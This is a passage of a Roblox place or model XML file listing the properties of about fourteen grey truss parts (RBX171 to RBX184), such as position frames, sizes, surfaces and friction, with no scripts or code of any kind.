				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-82</X>
						<Y>35.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX171">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-98</X>
						<Y>35.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX172">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-82</X>
						<Y>35.4000015</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX173">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-98</X>
						<Y>35.4000015</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX174">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-82</X>
						<Y>25.3999996</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX175">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-98</X>
						<Y>25.3999996</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX176">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-82</X>
						<Y>25.3999996</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX177">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-98</X>
						<Y>25.3999996</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX178">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-90</X>
						<Y>21.6000004</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>1</R10>
						<R11>0</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>14</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX179">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-90</X>
						<Y>21.6000004</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>1</R10>
						<R11>0</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>14</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX180">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-110</X>
						<Y>33.4000015</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>1</R10>
						<R11>0</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX181">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-98</X>
						<Y>15.3999996</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX182">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-110</X>
						<Y>33.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>1</R10>
						<R11>0</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX183">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-82</X>
						<Y>15.3999996</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX184">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-98</X>
						<Y>15.3999996</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
